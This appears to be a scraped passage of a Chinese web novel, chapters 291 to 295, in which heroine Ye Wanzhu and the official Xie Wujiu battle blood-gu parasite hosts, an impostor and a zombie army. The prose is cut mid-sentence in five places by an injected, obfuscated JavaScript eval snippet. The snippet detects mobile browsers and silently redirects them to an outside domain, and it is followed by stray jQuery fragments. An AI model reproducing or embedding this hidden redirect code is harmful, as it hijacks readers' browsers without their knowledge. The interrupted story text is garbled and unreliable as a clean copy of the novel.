她曾在师父的古籍中见过记载,这是南疆最阴毒的秘术,将活人作为蛊虫宿主,以精血喂养,可使人获得远超常人的力量。 “你疯了!”岑灵川这时候厉声道,“血蛊会吞噬宿主神志,争夺身体的掌控权,根本就是不能被人控制的邪术!你竟然敢在自己身上用?” “哈哈哈哈——” 孟希越这时候又仰天大笑起来,笑得越发癫狂。 “你们果然知道这血蛊!可惜啊,你们的记忆,有点太落后了!” 他突然暴起,双手成爪直取岑灵川咽喉! “这么多年过去,你怎么知道,炼制血蛊的本事,有没有得到提升呢?” 疯狂地大笑着,孟希越眼中杀意毕现! 他说了,今天所有人都得死! 岑灵川仓促闪避,却仍被爪风扫中肩膀,顿时皮开肉绽! 鲜血迸出,他咬牙甩出银针,分别射向孟希越的双眼和咽喉。 孟希越侧身闪过两枚高处的银针,又张开嘴,一口将最后一根咬成了两截! “还有什么手段,尽管使出来!”他狞笑道。 隐月强忍手腕剧痛,从腰间抽出一根细如发丝的金线,悄无声息地便要绕到孟希越身后。 “呵!” 孟希越却像是长了后眼,身子以一个诡异的弧度折起,瞬间就躲过了隐月的动作。 “雕虫小技!” 反手抓住金线,孟希越猛地将隐月整个人抡起,重重砸向地面! 又是一声闷响,伴随着几声喀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979153|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚓声,隐月摔在地上,顿时没了声息。 “你找死!” 听着这边的动静,谢逸本是守在谢无咎身边,这会儿也再耐不住性子,大吼一声冲了出来! 他手中仿佛凭空变出了一把长刀,对着孟希越便要当头劈下! 似乎是感应到了危险,孟希越狂吼一声,却并未再回身迎上谢逸,而是身形骤移,瞬间就冲到了叶晚竹面前! “师妹!” “殿下!” 几声惊叫传来,叶晚竹还来不及反应,脖颈便被一阵大力锁住,她下意识地倒吸一口冷气,又感到疼痛变得越发剧烈。 “都别动!” 孟希越嘶声说着话,将叶晚竹死死地桎梏在自己胸口。 “谁敢上前,我立刻要了她的命!”他瞪大双眼,神情癫狂至极,“退后!” 岑灵川已经冲到了几步开外的地方,看着孟希越疯狂的模样,他攥紧拳头,也只能无奈地朝后退去。 “放开我师妹!” 咬紧牙关,岑灵川的语气也变得危险,“你这该死的怪物!” 孟希越的回应仍是哈哈大笑。 “怪物?”他怪模怪样地拖长了调子,“要不是因为这位威远王,我又怎么会变成现在的模样?” “你自己要作死,关我师妹什么事?”岑灵川立刻又瞪起了眼睛,“少把自己说得有多么委屈!” 孟希越的笑容依旧在扩大着,嘴角拉长,让他看上去更加不像是个正常人了。 “哦?那这恐怕还是要问问威远王殿下了。” 又狠狠地勒了叶晚竹一把,听着她传来的闷哼声,孟希越笑容狰狞。 “要不是你,我根本就不会变成这个样子!我真恨不得现在就杀了你!” 一阵猛烈的大力袭来,叶晚竹只能顺着孟希越的动作向后仰头,脑中这时候却不住地转起了数个念头。 恨不得现在就杀了她,那也就是说,孟希越现在还不能杀她? 这又是为了什么—— 脖颈处的剧痛越发猛烈,叶晚竹眼前发黑,控制不住地要摔倒下去。 “小心!” 第二百九十一章 你醒了? 孟希越的狂笑声戛然而止。 他钳制叶晚竹的手臂突然剧烈抽搐,青黑色的血管在皮肤下如蛇般扭动! 叶晚竹感到脖颈处的力道一松,连忙趁机挣脱出来,踉跄着后退几步,捂着喉咙,爆发出一阵剧烈的咳嗽。 “殿下!” 还没等她喘一口气,谢逸身形移动,顷刻间便将叶晚竹狠狠拉开! “啊——!” 另一边,孟希越发出不似人声的惨叫,双膝重重砸在地上。 他的眼球疯狂转动,七窍中渗出暗红色的血丝,如同有生命般在他脸上蜿蜒爬行起来。 这画面扭曲又恶心,叶晚竹看去也不由得惊呆了。 这是…… “血蛊反噬了。” 岑灵川箭步上前,和谢逸一起将叶晚竹护在身后,表情十分难看。 “我要是没猜错,他体内的蛊虫正在互相争夺掌控权。” 孟希越的皮肤下鼓起数十个肿块,以惊人的速度在他全身游走,所过之处,皮肉迅速地干瘪下去。 他原本魁梧的身躯也随之变得干瘪,好像是被这些肿块吸干了全部的血肉。 “救,救救我……” 孟希越突然向叶晚竹伸出手,声音恢复了正常,眼中还流露出哀求之色。 “我,我愿意……” 话未说完,他喉咙里突然喷出一团黑血,落在地上,发出一阵滋滋声。 这血是有腐蚀性的。 扑通一声,孟希越面朝下栽倒在地,再无动静。 林中顿时陷入了死一般的寂静。 南疆军方才应该正在被西北大军**,这会儿显然是已经分出了胜负,下方一点儿声音都没有传来。 叶晚竹却顾不上那些,她盯着孟希越迅速**的尸体,发现他的后颈处隐约浮现出一个暗红色图案,像是某种虫形的烙印,又以肉眼可见的速度消失。 皱了皱眉,叶晚竹便要上前去。 “殿下,小心有诈!”谢逸连忙挡住她的动作。 “不会。”一个虚弱却清冷的声音突然从众人身后传来,“血蛊宿主一旦开始自噬,绝无生还可能。” “……主子?”谢逸猛地回过头去! 谢无咎不知何时出现在几人身后,苍白的脸上唯有一双桃花眼亮得惊人。 他的瞳孔边缘泛着一圈极淡的红光,与方才孟希越眼中的血色如出一辙,却又多了几分清明。 等叶晚竹再抬眸看去的时候,眼前的男人却又变得和从前没什么不同。 难道刚才是她眼花了? 似乎是察觉到了她的疑虑,谢无咎垂下眼帘轻咳两声。 “多亏了岑师兄的药,本督醒的正是时候,这血蛊,本督也曾在古籍上看过相关记载。” 一边说着话,谢无咎一边从袖中取出一个青色的小布包。 “你受伤了,需要马上处理,否则,蛊毒入血就麻烦了。”他定定地看着叶晚竹。 叶晚竹闻言皱了皱眉,顺着谢无咎的目光向下,又抬手一摸,果然感到脖颈上传来了细细密密的疼痛。 这个时候,谢无咎也走到了她面前,手掌一翻,那小布包里装着的,竟然是一排雪亮的银针! “忍着些。” 低声道出一句,谢无咎的银针便已精准刺入叶晚竹颈侧。 针尖触及伤口,叶晚竹先是本能地一哽,又立刻感到一股清凉之意顺着经络流动,喉间的疼痛顿时减轻了大半。 堂堂九千岁,竟然有这样精绝的医术? 不知为何,叶晚竹忽然感到一阵说不出的奇怪。 “别动。” 谢无咎的声音这时候忽然贴近耳畔,冰凉的呼吸拂过耳垂,叶晚竹又僵住了。 分明已经醒来,谢无咎周身的温度,却比刚刚昏迷的时候还低。 谢无咎却并未关注她的异样,而是全神贯注在叶晚竹颈间。 “你脖颈处有蛊虫留下的卵,需用内力逼出。” 他的手指顺着银针轻轻一拨,叶晚竹立刻感到有东西在自己血管中逆流而上。 “唔!”她闷哼一声,忍住不适。 谢无咎看着银针末端牵引出一条细如发丝的红线,正是孟希越指甲里残留的蛊虫幼虫。 他小心翼翼地将幼虫挑出,又将银针投入随身携带的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979154|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉瓶里,瓶中立刻发出了一阵咝咝声响,好像热油入锅一般。 “好了。” 直到这声音消失,谢无咎才收回手去,又忽然一顿。 从拔出幼虫开始,叶晚竹便一直盯着谢无咎动作,眼睛一瞬不眨地投向他手腕内侧。 那里有个暗红色的斑块,看不分明,形状却与孟希越颈后那个极为相似。 察觉到她的眼神,谢无咎不动声色地拉下袖口,转身又看向岑灵川。 “岑师兄的肩伤也需要立刻放血排毒。”他微微眯着眼笑。 岑灵川狐疑地盯着他。 “九千岁这针法颇为精妙,不知是师从何人啊?” 就方才谢无咎挑针的那一下,没有多年功力,断做不到如此娴熟。 “家学渊源罢了。”谢无咎淡然一笑,又从怀中取出一个白玉盒子。 “这是九花玉露膏,能解毒生肌,岑师兄拿着用吧。” 从他手中将盒子接过,岑灵川的表情越发狐疑起来。 连这都有准备? 谢无咎却仍是没有要解释的意思,低头亲手给岑灵川包扎了起来。 “叶将军!叶将军!” 这个时候,一个身穿西北大军盔甲的小将跑了上来,一眼看到山崖边几人的惨状,顿时又脚下一滞。 “什么事?” 叶晚竹上前两步,心道应该是对南疆军的围剿结束了。 果然,那小将三言两语,将全歼南疆军的战况说明,又双手递上一个东西。 “这是打扫战场的时候发现的。” 众人循声望去,只见是半截暗黄色的绢布,里面裹着封朱砂写就的密信,落款处盖着一个花纹复杂的印记。 “七日后子时,朱雀桥下。” 叶晚竹念出信上内容,眉头越皱越紧,“血月当空时,千蛊同出,万籁俱寂……” 谢无咎正在为岑灵川包扎的手突然一顿。 岑灵川身敏锐地抬眼一扫,眼前这位九千岁的指尖正在细细地颤抖着,却转瞬即逝,立刻恢复如常。 “能说出千蛊同出,看来他们在京城还安排了其他血蛊宿主。” 第二百九十二章 你不是谢无咎! 谢无咎的声音低沉而冷静,指尖却不着痕迹地收紧了包扎的布条。 岑灵川吃痛地“嘶”了一声,抬眼正对上谢无咎那双深不见底的眸子。 “九千岁似乎对血蛊了解颇深?”岑灵川试探地问道。 谢无咎唇角微勾,手上动作却不停。 “本督在宫中多年,见过的阴私手段比这更甚。” 可宫中毕竟是大梁,这来自南疆的血蛊,谢无咎也还能知道得如此详尽? 岑灵川总感觉有些不对劲。 另一边,叶晚竹将密信反复查看,突然发现背面还有一行极小的字迹。 “血月现世,蛊**醒。” 她心头猛地一跳,下意识朝着谢无咎看了过去。 男人正背对着她整理药箱,修长的身影在夕阳下拉出长长的影子。那影子边缘竟隐约泛着不正常的红色,如同活物般微微蠕动。 “殿下?”谢逸顺着她的目光看了过去—— 谢无咎转身的瞬间,袖中突然滑出一枚青铜铃铛,叮地一声落在地上。 那铃铛表面刻满诡异的符文,内里没有铃舌,却依旧发出了清脆的回响。 岑灵川眼疾手快地捡起来,看了一眼便脸色骤变。 “这是……南疆巫祝的镇魂铃?” 这又是什么东西? 叶晚竹疑惑地转过头去。 谢无咎面不改色地接过铃铛。 “前些日子缴获的战利品罢了。” 他的指尖在铃铛上轻轻一抚,那些符文竟诡异地亮起暗红光芒,又迅速熄灭。 叶晚竹突然感到颈间的伤口传来一阵灼痛,她伸手一摸,指腹上竟沾了黑色的血珠,那颜色,与孟希越七窍流出的血如出一辙。 “你的伤……” 谢无咎这时眸色一沉,突然抓住她的手腕! 他的掌心冰冷得不似活人,却带着不容抗拒的力道。 就在这时,山下突然传来震天的喊杀声! “怎么回事!” 众人循声望去,只见原本已经平静的战场突然燃起诡异的绿色火焰,被歼灭的南疆士兵尸体竟然在火中抽搐着,纷纷站起身来! “是尸变!”岑灵川失声喊道。 原来,这就是千蛊同出? 谢无咎却反常地轻笑一声。 “终于来了……” 他空着的手从袖中取出一个漆黑的骨笛,放在唇边猛地一吹。 笛声响起的那一刻,叶晚竹感到耳膜一阵刺痛! 那声音不似寻常笛声,倒像是千万只虫子在齐声尖叫! 更可怕的是,叶晚竹感到自己颈间的伤口随着笛声开始剧烈跳动,仿佛有什么东西要破体而出! “你……” 痛苦地跪倒在地,叶晚竹眼睁睁地看着男人的影子在夕阳下越拉越长,最终化作一条巨大的、蜈蚣般的黑影。 岑灵川和谢逸也被无形的力量压制得动弹不得,他们惊恐地发现,谢无咎的皮肤正在以肉眼可见的速度变得透明,皮下的血管中隐约可见细长的黑影在游动。 “你不是谢无咎……” 叶晚竹这时候终于艰难地挤出了这句话! 笛声戛然而止。 “谢无咎”缓缓转身,眼中的血色已经完全覆盖了瞳孔原本的模样。 “我确实不是那个阉人,”他的声音突然变成诡异的双重音调,“ 猜猜看,我是谁?” 山下的尸变大军突然齐刷刷转向,朝着山顶跪拜,绿色火焰中,无数蛊虫汇聚成洪流,朝着“谢无咎”涌来。 叶晚竹感到颈间的异物突然暴起,眼前顿时一黑! 怎么—— 在失去意识的最后一刻,她看到“谢无咎”的胸口浮现出一个完整的虫形烙印。 与孟希越颈后那个如出一辙,却更加狰狞可怖。 “殿下!” “主子?” —— 叶晚竹的意识在黑暗中沉浮,耳边传来蛊虫振翅的嗡鸣,仿佛千万只毒虫正在啃噬她的骨髓。 她猛然睁开眼,发现自己双手被铁链锁住,被囚在一座漆黑的石室之中。 这是什么地方? “醒了?” 一道熟悉的声音从阴影处传来。 叶晚竹抬头,看到“谢无咎”缓步走出黑暗,他的面容依旧俊美,可那双眼睛已经完全变成了血红色,瞳孔深处似有无数细小的虫影蠕动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979155|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你是什么东西?”她咬牙问道、 这幅模样,怎么看都不像是人。 “谢无咎”低笑一声,指尖轻轻抚过她的颈侧,触感冰冷黏腻,让叶晚竹忍不住打了个寒战。 “ 这你就不用知道了。”他的声音带着诡异的回响,“至于这副皮囊……不过是借来一用。” 叶晚竹心头一震,“谢无咎人呢?” “他啊……”此人歪了歪头,露出一个残忍的微笑,“他的血肉,可是上好的养料。” 叶晚竹瞳孔骤缩,胸口如遭雷击,一时间连呼吸都变得艰难。 “不过你放心,我不会杀你。” “谢无咎”这时又俯身凑近几分,一双眼睛直勾勾地望着叶晚竹。 “你的血很特别,是唤醒‘千蛊同出’的关键。” 叶晚竹强忍恶心,冷声道,“你们到底想做什么?” “谢无咎”没有回答,而是抬手一挥,石室的墙壁突然亮起暗红色的纹路,竟是一幅巨大的南疆古阵图! “血月当空时,万蛊同出。”他低声吟诵,声音如同诅咒,“届时,整座京城都会成为蛊虫的巢穴!” 叶晚竹心头狂跳,这些丧心病狂的妖物,竟是要用整座京城的人来喂养蛊虫! 就在此时,石室外突然传来一阵剧烈的震动,紧接着是刀剑碰撞的厮杀声! “谢无咎”眉头一皱,还未动作,石门便被人一剑劈开! “殿下!” 谢逸浑身浴血,持剑冲了进来,身后还跟着岑灵川和数十名西北军精锐。 “你——” “谢无咎”明显吃了一惊。 叶晚竹倒是松了口气。 师兄那保命的银针上涂有一种特殊的草药,只有岑灵川自己能辨认。 昏迷前,她拼尽全力将半根银针藏在身上,看来是没被搜走。 岑灵川冷笑一声,手中长剑直指眼前之人,“现在,该算账了。” “谢无咎”眯起眼,唇角勾起一抹诡异的弧度,“就凭你们?” 话音未落,他的身体突然扭曲变形,皮肤下鼓起无数肿块,如同有什么东西要破体而出! “小心!” 第二百九十三章 丑东西,敢冒充本督! 谢逸手中长剑翻卷,一把扫开“谢无咎”伸出的手! “别!” 叶晚竹惊呼一声,想通了其中关节,却已经晚了—— 谢逸一剑砍掉了“谢无咎”的左手,从他的断肢处涌出来的却不是鲜血,而是一团一团的暗红色长虫! “快退后!”岑灵川见状大喝一声,“是蛊虫,千万别让它们捧到!” 这假扮成谢无咎的妖物,和孟希越一样,也是血蛊的宿主! “哈哈哈哈……” “谢无咎”仰天大笑,看着眼前的岑灵川等人,目光冷漠,好像只是在看着几具尸体。 “去!” 他抬起那只完好无损的手,猛地朝前一挥,蛊虫们顿时像得了号令的士兵一般,一拥而上,朝着岑灵川等人扑了过去! 趁此机会,“谢无咎”转头来到叶晚竹面前,一把便将她拎了起来! “威远王殿下,”他的语气轻飘飘的,又开始用谢无咎的声音说话,“请您跟本督移驾吧?” 一边说着话,他纵身跃向半空—— 叶晚竹看准机会,屈膝狠狠顶向这妖物的腹部! “咝!”她自己却猛地倒吸了一口冷气! 本该是最柔软的腹部,这会儿却坚硬得堪比顽石,叶晚竹用尽了全力之下,这会儿膝盖甚至都已经失去了知觉。 怎么会这样? 她皱起眉头,上方,“谢无咎”阴恻恻的笑声倒是又响了起来。 “殿下,反抗是没用的!你们不可能战胜血蛊的力量!” “还是老老实实地跟我走,这样,还能少吃点苦头。” 目光向下平扫了一圈,看着谢逸等人正和蛊虫陷入苦战,“谢无咎”的语气变得更加不屑。 “一群肉体凡胎,怎么可能——唔!” 一句话还没说完,他身子顿时一僵,紧跟着控制不住地发出一声闷哼! 叶晚竹被这妖物桎梏在臂弯里,看不见上方的情况,只感到身子猛地传来失重感。 下一刻,她身形踉跄,跌入了一个萧索的怀抱之中。 “谢都督……” 抬起头,谢无咎苍白的下颌近在眼前,叶晚竹先是轻唤一声,而后又立刻皱起了眉头。 这个谢无咎,是真是假? “如假包换。” 虽然目视前方,谢无咎这会儿却能感觉得到叶晚竹的视线,他嘴角微勾,露出一个淡淡的笑容。 “本督的身份,当初是由王妃亲手验证的,说起来,本督还要感谢王妃替我保密。” 此话一出,叶晚竹便彻底放下心来。 “你,你还活着?这怎么可能?” 另一边,方才那假冒伪劣的“谢无咎”这时候也撑着身子站了起来,难以置信的目光直直落在真正的谢无咎身上。 叶晚竹抬头打量一圈,眼下他们正在囚室上方的房梁之上。 光线昏暗,也能看出对面那人一脸的阴鸷。 “你是什么东西?本督活不活,还能由你说了算不成?” 谢无咎的注意力也被这妖物吸引了过去,他上下扫视着对方,轻笑一声,语气十分不屑。 “丑东西,敢冒充本督,没有半点自知之明。” “你——” 那冒牌货咬牙切齿,一张脸都跟着变形起来。 或许是有真正的谢无咎做对比,叶晚竹再看着对面的这张脸,怎么看,都透着一股僵硬的呆板。 “哼,你也不过只能逞逞口舌之利了。” 冒牌货这时候却忽然脸色一变,在最短的时间里恢复了正常。 他勾起嘴角,笑着看向谢无咎。 “虽然我不知道你是怎么逃过一劫的,但是没关系,你们很快就都要**!” 谢无咎对此的回应,依旧是一声轻笑。 “你们这些妖物,果然是脑筋不好使,不过也对,要不是正常人当不下去了,谁会心甘情愿地去做怪物呢?你说是不是?” “还有啊,你长得这么丑,却要顶着本督的皮囊,真是让本督感觉恶心,还是早点脱了为好!” 说着话,他毫无征兆地抬手,挥出三根淬着毒的金针! 这金针力道迅猛,显然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984333|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么寻常的暗器,那冒牌货本是不屑,可眼睁睁看着金针破空而来,还是身形翻卷,向侧后方躲避而去! “本督就知道!” 谢无咎的声音响起,他早在丢出金针的同时凭空跃起,预判了这冒牌货的撤退动作,先一步冲到了此人脚下! 与此同时,叶晚竹摸出谢无咎挂在腰间的**,看准了这冒牌货的眼睛,便狠狠地扎了下去! 方才谢无咎飞身而起的时候,空着的手在她的眼睛上摸了一把,应该就是这个意思吧? “嗷——!” 那冒牌货神情一滞,紧接着便哀嚎出声! 他身上顿时爆发出一阵极其猛烈的力量,似是要毁天灭地,谢无咎见状也神情一变,揽着叶晚竹飞身朝出口而去。 “撤!”他也没忘了朝下方的谢逸等**声招呼着。 “拦住他们!” 冒牌货的嘶吼这时候又响了起来,听上去似乎正在遭受着无尽的折磨。 随着他话音落下,方才还在和谢逸等人缠斗着的蛊虫,这时候也齐齐变幻方向,扭曲着身子往出口处的石门而去。 岑灵川一剑又斩断了一把,这些蛊虫却没了刚才那不死不休的架势,头也不回地远离他而去。 “见鬼了!” 大骂一声,岑灵川又猛地一跺脚,也快步追了过去! 这个时候,跑在高处的谢无咎和叶晚竹已经逼近了囚室的出口,从上方看下去,密密麻麻的暗红色蛊虫正从四面八方围拢,将出口的石门裹得严严实实的。 “我怀里有一个绿色的火折子。” 谢无咎最多只朝下看了一眼,便骤然又加快了速度,直奔那石门而去。 “点着它,丢进去!”他言简意赅地道。 叶晚竹的动作也相当迅速,点火抛掷一气呵成! 赶在谢无咎双脚落地之前,火焰瞬间便将这些蛊虫席卷,嘶嘶的灼烧声响起,蛊虫扭动身体的动作变得疯狂起来。 眼看大火将蛊虫都烧成粉末,叶晚竹鬼使神差地抬起头,目光停留在谢无咎身上,却忽然愣住了。 第二百九十四章 谢无咎的血 谢无咎此时单臂环抱着叶晚竹,方便腾出一只手来操作,而他伸出的右手食指之上,一滴血珠正缓缓落下。 下方,火焰升腾,谢无咎的血珠落入其中,本该被同样鲜红一片的色泽吞没。 可叶晚竹却仿佛看到那滴血落入地上,而周遭的火舌都在席卷着让路! “轰!” 剧烈的**声响起,冲击力猛地从后方传来,叶晚竹只能下意识地缩起脖子,又跟着这股冲击被弹到地上,七荤八素地栽倒下去! 簌簌声不断传来,与之一道的还有接连几声闷响。 叶晚竹挣扎着抬起头,发觉自己这会儿正摔在一处平缓的山坡上。 谢无咎躺在她身边,胳膊护着叶晚竹的后颈,而在她身边,岑灵川等人也一身狼狈地栽倒在地。 收回目光,正赶上谢无咎艰难地抬起头,叶晚竹连忙抬手将他扶住。 “还活着……运气不错。” 咝咝地倒吸了几口冷气,谢无咎一边说着话,一边翻身爬起,警惕地打量着周围的环境。 他伸手将叶晚竹也拉了起来,在他们身后,一个山洞模样的地方正在熊熊燃烧,滚滚黑烟不断从洞口涌出。 细听去,那山洞里似乎还有成千上万个细小的声音在哀嚎,极为可怖。 “是那些蛊虫?” 岑灵川这时候也站起身来,龇牙咧嘴地检查着伤势,又很快顺着叶晚竹和谢无咎担忧的目光,也朝着那山洞看去。 “放火有用吗?”他眉头紧皱,“万一那些妖物跑出来,怎么办?” 这山洞里便是刚刚的那间囚室,方才岑灵川逃出来的时候,还看见那个冒牌的谢无咎也在挣扎着想往外走呢。 “岑师兄放心好了,有这火在,他们跑不出来的。” 谢无咎淡淡地望着那山洞的方向,语气十分笃定。 叶晚竹眉峰一挑,又想起了刚才的那滴血。 “九千岁为何敢这么说?你都知道些什么?”另一边,岑灵川的语气就没有那么好了。 托谢无咎这份笃定的福,他一瞬间就想起了方才在山崖上的那一幕,顿时警惕起来,绷紧了全身上下的肌肉。 刚刚杀了一个假冒的谢无咎,那这会儿站在眼前的这个,又是不是真的? “九千岁,这到底是怎么回事,我想,你现在该解释一下了吧?” 沉声说着话,岑灵川脚下挪移,不动声色地靠近了叶晚竹。 刚才的事情若是再来一次,他可受不了! 谢逸和谢尔这时候也从地上爬了起来,见状本该上前卫护自家主子,可两人的脚步却都透着一股犹豫。 “本督如假包换,如果不信,你们尽管问好了。” 目光扫过面前几人,谢无咎的语气微微有些冷。 让同伴互相猜忌,以至于自相残杀,这就是这些怪物的用意? 还真是险恶至极。 叶晚竹这时候按住了岑灵川的手,又朝着谢逸等人摇了摇头。 “不用问了,他是谢无咎。”她语气笃定。 除了谢无咎,那件事,谁也不知道。 “多谢殿下信任。”谢无咎闻言微微一笑,眼睛弯起熟悉的弧度。 叶晚竹面上的表情却在瞬间收拢了起来。 “既然如此,那就请九千岁也信任一下本王吧。” “这些妖物,究竟是怎么回事?” —— “这……是血蛊?” 几个时辰之前,天问大师循着那一行南疆军往禹山中追来,找到那峡谷附近的时候,却忽然顿住了脚步。 看着峡谷中升腾而起的绿色火焰,还有其中回荡着的阵阵狼哭鬼嚎,天问大师的表情先是不可置信,随后又变得更加难看。 这些该死的南疆军,竟然是蛊兵? 这么多兵马不可能是私下行为,如此想来…… “南疆王。” 一字一顿地念叨着这个名字,天问大师眼底半是震惊,半是难言的恐惧。 只有南疆王能做到如此,可是他怎么会——? “大师?别来无恙乎?” 就在这时,一道不算熟悉的声音传来,天问大师猛地愣住! 转过身,几个身穿南疆铠甲,一脸阴沉的人,赫然出现在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984334|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后三五步开外的地方! 天问大师确认自己的耳朵没坏。 这些士兵,怎么可能有如此身手? 悚然一惊,天问大师下意识地朝着这些南疆兵士的皮肤处看去。 这并不容易,南疆地带太阳毒辣,毒虫众多,为了保证在山野间也能正常行军,南疆军的盔甲包裹十分严实,除了一双眼睛,基本什么也看不见。 “大师在找什么呢?” 对上天问大师的目光,其中一个士兵笑了笑,正是那个先前说话的人。 他一边问着,一边抬手,将头盔从自己脑袋上摘了下来。 一张青白的面容出现在天问大师眼前。 摘下头盔之后,此人面上刺青一样的纹路便全都暴露了出来,诡异的花纹从额头向下,顺着眉骨鼻梁一路滑到被盔甲包裹着的身体里去。 果然是蛊兵! 天问大师的神情阴沉了一瞬,又终于被对方的面容吸引了。 “你是……”他的眉头皱了皱。 这士兵的长相,似乎有些熟悉。 “只是换了身衣裳罢了,大师怎么就不认识本将军了?” 对上天问大师犹疑的目光,石将军笑了笑。 “大师,您真是贵人多忘事啊,当初您嫌弃本将军的身体不够好用,是一团烂肉,这话,您都忘记了不成?” 天问大师向来没什么多余表情的脸上,这会儿也闪过了一丝难看的情绪。 他想起来了。 当初叶晚竹火烧景平王府,这石将军正要袒露实情,逼得他不得不亲自现身,从此便被叶晚竹盯得死死的。 可这位石将军是他亲手所杀,后来将尸体带回去,也是他亲自检查的,那个时候,他身上可没有半点血蛊存在的痕迹。 被天问大师阴沉沉地盯着,石将军面上的笑意却还是十分从容。 “王上说的没错,大师,果然是动机不纯。” “既然如此,本将军也留不得你了!” 他话音落下,身子已经在同时向前飞掠,朝着天问大师便要当头袭下! 天问大师转头就跑! 第二百九十五章 我们都被骗了! 若只是石将军本人,哪怕再来十个,二十个,对于天问大师来说也不在话下。 可眼下,这人已经成了南疆的蛊兵,那就不是他随随便便能应付得了的了! 天问大师脚下轻点,凭空跃上一棵大树,正要借机行事,动作却忽然愣住了。 峡谷之中,那十几万蛊兵不知道什么时候已经重新整顿了队伍,正齐刷刷地朝着京城而去! 就算是隔着这样遥远的距离,天问大师似乎也能看到这些东西行走时的模样。 完全一致的步调,完全相同的频率…… “大师,眼熟吗?” 石将军的笑声再次传来,天问大师这才发现,自己竟然在战场上走神了! “南疆王是什么时候调换了大军?”他咬紧牙关,望着石将军的时候,目光阴沉万分。 石将军的笑容这便显得从容多了。 “大师,你猜?”他甚至还歪了歪脑袋。 天问大师眸光变冷,下一刻忽然身形一晃,随着一阵白雾炸开,瞬间就消失在石将军等人的面前! “将军!” 几个蛊兵见状大惊,手举武器,有些茫然地朝着四周看来看去。 “别慌。” 石将军阴恻恻地笑了一声,面上的花纹似乎也跟着浮动,显得更加诡异。 “他这是黔驴技穷,只能缩回大本营去了,”他语气越发森冷,“不过,那也无妨!” “走,回京城去,终于到了该收网的时候了!” 摆一摆手,石将军率先向前,带着一行手下,朝着京城方向而去。 —— 天问大师一口气冲回到京城之外,放眼望去,四下荒凉,甚至已经有了破败之相。 经过几场毫无征兆的战争,城墙上这会儿斑斑驳驳,到处都是刀劈剑刺的痕迹。 鲜血随处可见,西北军试图渡河的浮桥还飘在护城河上,上面满是脚印,一看就是被大批逃出京城的平民百姓当成了唯一的救命稻草。 几具南疆士兵的尸体从城墙上翻下来,摔得四分五裂,天问大师上前便扯过一具,仔仔细细地检查了起来。 血肉是血肉,骨头是骨头。 和他检查石将军的尸体时一样,看不出任何问题。 血蛊须得在宿主活着的情况下注入,期间还得经过喂养和照料,像石将军那样的,怎么可能变成蛊兵? 况且还是留有神智的蛊兵。 天问大师的眉头越发皱紧了。 他再度身形纵越,很快便将城墙内外的惨状都抛之脑后,径直朝着东厂而去。 东厂地表的建筑物都已经被损毁,如今天问大师的手下,全都在地下待命。 “大师您回来了——这,这是怎么了?” 无尘大师听见声音,带着一身血气走了出来,还没等一句话说完,看到天问大师难掩狼狈的模样,还有气喘吁吁的动作,便瞪大了双眼。 普天之下,还有能让这位露出这种情绪的时候? “京中那三千南疆军,是你带人处理的?” 天问大师这时候上前两步,看着无尘大师的一身血迹,虽然是问句,但语气却已经无比笃定。 无尘大师闻言点了点头,动作透着满满的错愕。 “有没有发现什么异样?”天问大师又继续问道。 十几万南疆大军都是蛊兵,没道理只剩下京中这三千兵马是正常人。 被天问大师死死盯着,无尘大师的身子这会儿都止不住地哆嗦了起来。 